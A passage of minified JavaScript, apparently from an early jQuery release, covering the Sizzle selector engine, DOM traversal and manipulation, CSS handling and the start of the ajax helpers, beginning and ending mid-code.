y=false;t;){if(t.sizcache===k){y=l[t.sizset];break}if(t.nodeType===1&&!p){t.sizcache=k;t.sizset=q}if(t.nodeName.toLowerCase()===h){y=t;break}t=t[g]}l[q]=y}}}function d(g,h,k,l,q,p){q=0;for(var u=l.length;q<u;q++){var t=l[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache=== +k){y=l[t.sizset];break}if(t.nodeType===1){if(!p){t.sizcache=k;t.sizset=q}if(typeof h!=="string"){if(t===h){y=true;break}}else if(o.filter(h,[t]).length>0){y=t;break}}t=t[g]}l[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,e=0,i=Object.prototype.toString,j=false,n=true;[0,0].sort(function(){n=false;return 0});var o=function(g,h,k,l){k=k||[];var q=h=h||r;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g|| +typeof g!=="string")return k;for(var p=[],u,t,y,R,H=true,M=w(h),I=g;(f.exec(""),u=f.exec(I))!==null;){I=u[3];p.push(u[1]);if(u[2]){R=u[3];break}}if(p.length>1&&s.exec(g))if(p.length===2&&m.relative[p[0]])t=fa(p[0]+p[1],h);else for(t=m.relative[p[0]]?[h]:o(p.shift(),h);p.length;){g=p.shift();if(m.relative[g])g+=p.shift();t=fa(g,t)}else{if(!l&&p.length>1&&h.nodeType===9&&!M&&m.match.ID.test(p[0])&&!m.match.ID.test(p[p.length-1])){u=o.find(p.shift(),h,M);h=u.expr?o.filter(u.expr,u.set)[0]:u.set[0]}if(h){u= +l?{expr:p.pop(),set:A(l)}:o.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=u.expr?o.filter(u.expr,u.set):u.set;if(p.length>0)y=A(t);else H=false;for(;p.length;){var D=p.pop();u=D;if(m.relative[D])u=p.pop();else D="";if(u==null)u=h;m.relative[D](y,u,M)}}else y=[]}y||(y=t);y||o.error(D||g);if(i.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))k.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&& +y[g].nodeType===1&&k.push(t[g]);else k.push.apply(k,y);else A(y,k);if(R){o(R,q,k,l);o.uniqueSort(k)}return k};o.uniqueSort=function(g){if(C){j=n;g.sort(C);if(j)for(var h=1;h<g.length;h++)g[h]===g[h-1]&&g.splice(h--,1)}return g};o.matches=function(g,h){return o(g,null,null,h)};o.find=function(g,h,k){var l,q;if(!g)return[];for(var p=0,u=m.order.length;p<u;p++){var t=m.order[p];if(q=m.leftMatch[t].exec(g)){var y=q[1];q.splice(1,1);if(y.substr(y.length-1)!=="\\"){q[1]=(q[1]||"").replace(/\\/g,"");l=m.find[t](q, +h,k);if(l!=null){g=g.replace(m.match[t],"");break}}}}l||(l=h.getElementsByTagName("*"));return{set:l,expr:g}};o.filter=function(g,h,k,l){for(var q=g,p=[],u=h,t,y,R=h&&h[0]&&w(h[0]);g&&h.length;){for(var H in m.filter)if((t=m.leftMatch[H].exec(g))!=null&&t[2]){var M=m.filter[H],I,D;D=t[1];y=false;t.splice(1,1);if(D.substr(D.length-1)!=="\\"){if(u===p)p=[];if(m.preFilter[H])if(t=m.preFilter[H](t,u,k,p,l,R)){if(t===true)continue}else y=I=true;if(t)for(var U=0;(D=u[U])!=null;U++)if(D){I=M(D,t,U,u);var Da= +l^!!I;if(k&&I!=null)if(Da)y=true;else u[U]=false;else if(Da){p.push(D);y=true}}if(I!==v){k||(u=p);g=g.replace(m.match[H],"");if(!y)return[];break}}}if(g===q)if(y==null)o.error(g);else break;q=g}return u};o.error=function(g){throw"Syntax error, unrecognized expression: "+g;};var m=o.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/, +TAG:/^((?:[\w\u00c0-\uFFFF\*-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(g){return g.getAttribute("href")}},relative:{"+":function(g,h){var k=typeof h==="string",l=k&&!/\W/.test(h);k=k&&!l;if(l)h=h.toLowerCase();l=0;for(var q=g.length, +p;l<q;l++)if(p=g[l]){for(;(p=p.previousSibling)&&p.nodeType!==1;);g[l]=k||p&&p.nodeName.toLowerCase()===h?p||false:p===h}k&&o.filter(h,g,true)},">":function(g,h){var k=typeof h==="string";if(k&&!/\W/.test(h)){h=h.toLowerCase();for(var l=0,q=g.length;l<q;l++){var p=g[l];if(p){k=p.parentNode;g[l]=k.nodeName.toLowerCase()===h?k:false}}}else{l=0;for(q=g.length;l<q;l++)if(p=g[l])g[l]=k?p.parentNode:p.parentNode===h;k&&o.filter(h,g,true)}},"":function(g,h,k){var l=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p= +h=h.toLowerCase();q=b}q("parentNode",h,l,g,p,k)},"~":function(g,h,k){var l=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=h=h.toLowerCase();q=b}q("previousSibling",h,l,g,p,k)}},find:{ID:function(g,h,k){if(typeof h.getElementById!=="undefined"&&!k)return(g=h.getElementById(g[1]))?[g]:[]},NAME:function(g,h){if(typeof h.getElementsByName!=="undefined"){var k=[];h=h.getElementsByName(g[1]);for(var l=0,q=h.length;l<q;l++)h[l].getAttribute("name")===g[1]&&k.push(h[l]);return k.length===0?null:k}}, +TAG:function(g,h){return h.getElementsByTagName(g[1])}},preFilter:{CLASS:function(g,h,k,l,q,p){g=" "+g[1].replace(/\\/g,"")+" ";if(p)return g;p=0;for(var u;(u=h[p])!=null;p++)if(u)if(q^(u.className&&(" "+u.className+" ").replace(/[\t\n]/g," ").indexOf(g)>=0))k||l.push(u);else if(k)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()},CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&& +"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,k,l,q,p){h=g[1].replace(/\\/g,"");if(!p&&m.attrMap[h])g[1]=m.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,k,l,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=o(g[3],null,null,h);else{g=o.filter(g[3],h,k,true^q);k||l.push.apply(l,g);return false}else if(m.match.POS.test(g[0])||m.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true); +return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,k){return!!o(k[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)},text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"=== +g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},setFilters:{first:function(g,h){return h===0},last:function(g,h,k,l){return h===l.length-1},even:function(g,h){return h%2=== +0},odd:function(g,h){return h%2===1},lt:function(g,h,k){return h<k[3]-0},gt:function(g,h,k){return h>k[3]-0},nth:function(g,h,k){return k[3]-0===h},eq:function(g,h,k){return k[3]-0===h}},filter:{PSEUDO:function(g,h,k,l){var q=h[1],p=m.filters[q];if(p)return p(g,k,h,l);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h=h[3];k=0;for(l=h.length;k<l;k++)if(h[k]===g)return false;return true}else o.error("Syntax error, unrecognized expression: "+ +q)},CHILD:function(g,h){var k=h[1],l=g;switch(k){case "only":case "first":for(;l=l.previousSibling;)if(l.nodeType===1)return false;if(k==="first")return true;l=g;case "last":for(;l=l.nextSibling;)if(l.nodeType===1)return false;return true;case "nth":k=h[2];var q=h[3];if(k===1&&q===0)return true;h=h[0];var p=g.parentNode;if(p&&(p.sizcache!==h||!g.nodeIndex)){var u=0;for(l=p.firstChild;l;l=l.nextSibling)if(l.nodeType===1)l.nodeIndex=++u;p.sizcache=h}g=g.nodeIndex-q;return k===0?g===0:g%k===0&&g/k>= +0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var k=h[1];g=m.attrHandle[k]?m.attrHandle[k](g):g[k]!=null?g[k]:g.getAttribute(k);k=g+"";var l=h[2];h=h[4];return g==null?l==="!=":l==="="?k===h:l==="*="?k.indexOf(h)>=0:l==="~="?(" "+k+" ").indexOf(h)>=0:!h?k&&g!==false:l==="!="?k!==h:l==="^="? +k.indexOf(h)===0:l==="$="?k.substr(k.length-h.length)===h:l==="|="?k===h||k.substr(0,h.length+1)===h+"-":false},POS:function(g,h,k,l){var q=m.setFilters[h[2]];if(q)return q(g,k,h,l)}}},s=m.match.POS;for(var x in m.match){m.match[x]=new RegExp(m.match[x].source+/(?![^\[]*\])(?![^\(]*\))/.source);m.leftMatch[x]=new RegExp(/(^(?:.|\r|\n)*?)/.source+m.match[x].source.replace(/\\(\d+)/g,function(g,h){return"\\"+(h-0+1)}))}var A=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g}; +try{Array.prototype.slice.call(r.documentElement.childNodes,0)}catch(B){A=function(g,h){h=h||[];if(i.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var k=0,l=g.length;k<l;k++)h.push(g[k]);else for(k=0;g[k];k++)h.push(g[k]);return h}}var C;if(r.documentElement.compareDocumentPosition)C=function(g,h){if(!g.compareDocumentPosition||!h.compareDocumentPosition){if(g==h)j=true;return g.compareDocumentPosition?-1:1}g=g.compareDocumentPosition(h)&4?-1:g=== +h?0:1;if(g===0)j=true;return g};else if("sourceIndex"in r.documentElement)C=function(g,h){if(!g.sourceIndex||!h.sourceIndex){if(g==h)j=true;return g.sourceIndex?-1:1}g=g.sourceIndex-h.sourceIndex;if(g===0)j=true;return g};else if(r.createRange)C=function(g,h){if(!g.ownerDocument||!h.ownerDocument){if(g==h)j=true;return g.ownerDocument?-1:1}var k=g.ownerDocument.createRange(),l=h.ownerDocument.createRange();k.setStart(g,0);k.setEnd(g,0);l.setStart(h,0);l.setEnd(h,0);g=k.compareBoundaryPoints(Range.START_TO_END, +l);if(g===0)j=true;return g};(function(){var g=r.createElement("div"),h="script"+(new Date).getTime();g.innerHTML="<a name='"+h+"'/>";var k=r.documentElement;k.insertBefore(g,k.firstChild);if(r.getElementById(h)){m.find.ID=function(l,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(l[1]))?q.id===l[1]||typeof q.getAttributeNode!=="undefined"&&q.getAttributeNode("id").nodeValue===l[1]?[q]:v:[]};m.filter.ID=function(l,q){var p=typeof l.getAttributeNode!=="undefined"&&l.getAttributeNode("id"); +return l.nodeType===1&&p&&p.nodeValue===q}}k.removeChild(g);k=g=null})();(function(){var g=r.createElement("div");g.appendChild(r.createComment(""));if(g.getElementsByTagName("*").length>0)m.find.TAG=function(h,k){k=k.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var l=0;k[l];l++)k[l].nodeType===1&&h.push(k[l]);k=h}return k};g.innerHTML="<a href='#'></a>";if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")m.attrHandle.href=function(h){return h.getAttribute("href", +2)};g=null})();r.querySelectorAll&&function(){var g=o,h=r.createElement("div");h.innerHTML="<p class='TEST'></p>";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){o=function(l,q,p,u){q=q||r;if(!u&&q.nodeType===9&&!w(q))try{return A(q.querySelectorAll(l),p)}catch(t){}return g(l,q,p,u)};for(var k in g)o[k]=g[k];h=null}}();(function(){var g=r.createElement("div");g.innerHTML="<div class='test e'></div><div class='test'></div>";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length=== +0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){m.order.splice(1,0,"CLASS");m.find.CLASS=function(h,k,l){if(typeof k.getElementsByClassName!=="undefined"&&!l)return k.getElementsByClassName(h[1])};g=null}}})();var E=r.compareDocumentPosition?function(g,h){return g.compareDocumentPosition(h)&16}:function(g,h){return g!==h&&(g.contains?g.contains(h):true)},w=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},fa=function(g,h){var k=[], +l="",q;for(h=h.nodeType?[h]:h;q=m.match.PSEUDO.exec(g);){l+=q[0];g=g.replace(m.match.PSEUDO,"")}g=m.relative[g]?g+"*":g;q=0;for(var p=h.length;q<p;q++)o(g,h[q],k);return o.filter(l,k)};c.find=o;c.expr=o.selectors;c.expr[":"]=c.expr.filters;c.unique=o.uniqueSort;c.getText=a;c.isXMLDoc=w;c.contains=E})();var bb=/Until$/,cb=/^(?:parents|prevUntil|prevAll)/,db=/,/;Q=Array.prototype.slice;var Ea=function(a,b,d){if(c.isFunction(b))return c.grep(a,function(e,i){return!!b.call(e,i,e)===d});else if(b.nodeType)return c.grep(a, +function(e){return e===b===d});else if(typeof b==="string"){var f=c.grep(a,function(e){return e.nodeType===1});if(Qa.test(b))return c.filter(b,f,!d);else b=c.filter(b,f)}return c.grep(a,function(e){return c.inArray(e,b)>=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f<e;f++){d=b.length;c.find(a,this[f],b);if(f>0)for(var i=d;i<b.length;i++)for(var j=0;j<d;j++)if(b[j]===b[i]){b.splice(i--,1);break}}return b},has:function(a){var b=c(a);return this.filter(function(){for(var d= +0,f=b.length;d<f;d++)if(c.contains(this,b[d]))return true})},not:function(a){return this.pushStack(Ea(this,a,false),"not",a)},filter:function(a){return this.pushStack(Ea(this,a,true),"filter",a)},is:function(a){return!!a&&c.filter(a,this).length>0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,i={},j;if(f&&a.length){e=0;for(var n=a.length;e<n;e++){j=a[e];i[j]||(i[j]=c.expr.match.POS.test(j)?c(j,b||this.context):j)}for(;f&&f.ownerDocument&&f!==b;){for(j in i){e=i[j];if(e.jquery?e.index(f)> +-1:c(f).is(e)){d.push({selector:j,elem:f});delete i[j]}}f=f.parentNode}}return d}var o=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(m,s){for(;s&&s.ownerDocument&&s!==b;){if(o?o.index(s)>-1:c(s).is(a))return s;s=s.parentNode}return null})},index:function(a){if(!a||typeof a==="string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(), +a);return this.pushStack(pa(a[0])||pa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode",d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")}, +nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);bb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e): +e;if((this.length>1||db.test(f))&&cb.test(a))e=e.reverse();return this.pushStack(e,a,Q.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===v||a.nodeType!==1||!c(a).is(d));){a.nodeType===1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!== +b&&d.push(a);return d}});var Fa=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ga=/(<([\w:]+)[^>]*?)\/>/g,eb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,Ha=/<([\w:]+)/,fb=/<tbody/i,gb=/<|&\w+;/,sa=/checked\s*(?:[^=]|=\s*.checked.)/i,Ia=function(a,b,d){return eb.test(d)?a:b+"></"+d+">"},F={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"], +col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div<div>","</div>"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==v)return this.empty().append((this[0]&&this[0].ownerDocument||r).createTextNode(a));return c.getText(this)}, +wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length? +d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments, +false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&& +!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Fa,"").replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){qa(this,b);qa(this.find("*"),b.find("*"))}return b},html:function(a){if(a===v)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Fa,""):null;else if(typeof a==="string"&&!/<script/i.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(Ha.exec(a)|| +["",""])[1].toLowerCase()]){a=a.replace(Ga,Ia);try{for(var b=0,d=this.length;b<d;b++)if(this[b].nodeType===1){c.cleanData(this[b].getElementsByTagName("*"));this[b].innerHTML=a}}catch(f){this.empty().append(a)}}else c.isFunction(a)?this.each(function(e){var i=c(this),j=i.html();i.empty().append(function(){return a.call(this,e,j)})}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(c.isFunction(a))return this.each(function(b){var d=c(this),f=d.html();d.replaceWith(a.call(this, +b,f))});else a=c(a).detach();return this.each(function(){var b=this.nextSibling,d=this.parentNode;c(this).remove();b?c(b).before(a):c(d).append(a)})}else return this.pushStack(c(c.isFunction(a)?a():a),"replaceWith",a)},detach:function(a){return this.remove(a,true)},domManip:function(a,b,d){function f(s){return c.nodeName(s,"table")?s.getElementsByTagName("tbody")[0]||s.appendChild(s.ownerDocument.createElement("tbody")):s}var e,i,j=a[0],n=[];if(!c.support.checkClone&&arguments.length===3&&typeof j=== +"string"&&sa.test(j))return this.each(function(){c(this).domManip(a,b,d,true)});if(c.isFunction(j))return this.each(function(s){var x=c(this);a[0]=j.call(this,s,b?x.html():v);x.domManip(a,b,d)});if(this[0]){e=a[0]&&a[0].parentNode&&a[0].parentNode.nodeType===11?{fragment:a[0].parentNode}:ra(a,this,n);if(i=e.fragment.firstChild){b=b&&c.nodeName(i,"tr");for(var o=0,m=this.length;o<m;o++)d.call(b?f(this[o],i):this[o],e.cacheable||this.length>1||o>0?e.fragment.cloneNode(true):e.fragment)}n&&c.each(n, +Ma)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);for(var e=0,i=d.length;e<i;e++){var j=(e>0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),j);f=f.concat(j)}return this.pushStack(f,a,d.selector)}});c.each({remove:function(a,b){if(!a||c.filter(a,[this]).length){if(!b&&this.nodeType===1){c.cleanData(this.getElementsByTagName("*"));c.cleanData([this])}this.parentNode&& +this.parentNode.removeChild(this)}},empty:function(){for(this.nodeType===1&&c.cleanData(this.getElementsByTagName("*"));this.firstChild;)this.removeChild(this.firstChild)}},function(a,b){c.fn[a]=function(){return this.each(b,arguments)}});c.extend({clean:function(a,b,d,f){b=b||r;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||r;var e=[];c.each(a,function(i,j){if(typeof j==="number")j+="";if(j){if(typeof j==="string"&&!gb.test(j))j=b.createTextNode(j);else if(typeof j=== +"string"){j=j.replace(Ga,Ia);var n=(Ha.exec(j)||["",""])[1].toLowerCase(),o=F[n]||F._default,m=o[0];i=b.createElement("div");for(i.innerHTML=o[1]+j+o[2];m--;)i=i.lastChild;if(!c.support.tbody){m=fb.test(j);n=n==="table"&&!m?i.firstChild&&i.firstChild.childNodes:o[1]==="<table>"&&!m?i.childNodes:[];for(o=n.length-1;o>=0;--o)c.nodeName(n[o],"tbody")&&!n[o].childNodes.length&&n[o].parentNode.removeChild(n[o])}!c.support.leadingWhitespace&&V.test(j)&&i.insertBefore(b.createTextNode(V.exec(j)[0]),i.firstChild); +j=c.makeArray(i.childNodes)}if(j.nodeType)e.push(j);else e=c.merge(e,j)}});if(d)for(a=0;e[a];a++)if(f&&c.nodeName(e[a],"script")&&(!e[a].type||e[a].type.toLowerCase()==="text/javascript"))f.push(e[a].parentNode?e[a].parentNode.removeChild(e[a]):e[a]);else{e[a].nodeType===1&&e.splice.apply(e,[a+1,0].concat(c.makeArray(e[a].getElementsByTagName("script"))));d.appendChild(e[a])}return e},cleanData:function(a){for(var b=0,d;(d=a[b])!=null;b++){c.event.remove(d);c.removeData(d)}}});var hb=/z-?index|font-?weight|opacity|zoom|line-?height/i, +Ja=/alpha\([^)]*\)/,Ka=/opacity=([^)]*)/,ga=/float/i,ha=/-([a-z])/ig,ib=/([A-Z])/g,jb=/^-?\d+(?:px)?$/i,kb=/^-?\d/,lb={position:"absolute",visibility:"hidden",display:"block"},mb=["Left","Right"],nb=["Top","Bottom"],ob=r.defaultView&&r.defaultView.getComputedStyle,La=c.support.cssFloat?"cssFloat":"styleFloat",ia=function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===v)return c.curCSS(d,f);if(typeof e==="number"&&!hb.test(f))e+="px";c.style(d,f,e)})}; +c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return v;if((b==="width"||b==="height")&&parseFloat(d)<0)d=v;var f=a.style||a,e=d!==v;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter=Ja.test(a)?a.replace(Ja,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Ka.exec(f.filter)[1])/100+"":""}if(ga.test(b))b=La;b=b.replace(ha,ia);if(e)f[b]=d;return f[b]},css:function(a, +b,d,f){if(b==="width"||b==="height"){var e,i=b==="width"?mb:nb;function j(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(i,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a,"border"+this+"Width",true))||0})}a.offsetWidth!==0?j():c.swap(a,lb,j);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&& +a.currentStyle){f=Ka.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ga.test(b))b=La;if(!d&&e&&e[b])f=e[b];else if(ob){if(ga.test(b))b="float";b=b.replace(ib,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f=a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ha,ia);f=a.currentStyle[b]||a.currentStyle[d];if(!jb.test(f)&&kb.test(f)){b=e.left;var i=a.runtimeStyle.left;a.runtimeStyle.left= +a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=i}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b=a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var pb= +J(),qb=/<script(.|\s)*?\/script>/gi,rb=/select|textarea/i,sb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ja=/\?/,tb=/(\?|&)_=.*?(&|$)/,ub=/^(\w+:)?\/\/([^\/?#]+)/,vb=/%20/g;c.fn.extend({_load:c.fn.load,load:function(a,b,d){if(typeof a!=="string")return this._load(a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b= +c.param(b,c.ajaxSettings.traditional);f="POST"}var i=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(j,n){if(n==="success"||n==="notmodified")i.html(e?c("<div />").append(j.responseText.replace(qb,"")).find(e):j.responseText);d&&i.each(d,[j.responseText,n,j])}});return this},serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&& +(this.checked||rb.test(this.nodeName)||sb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a, +b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return 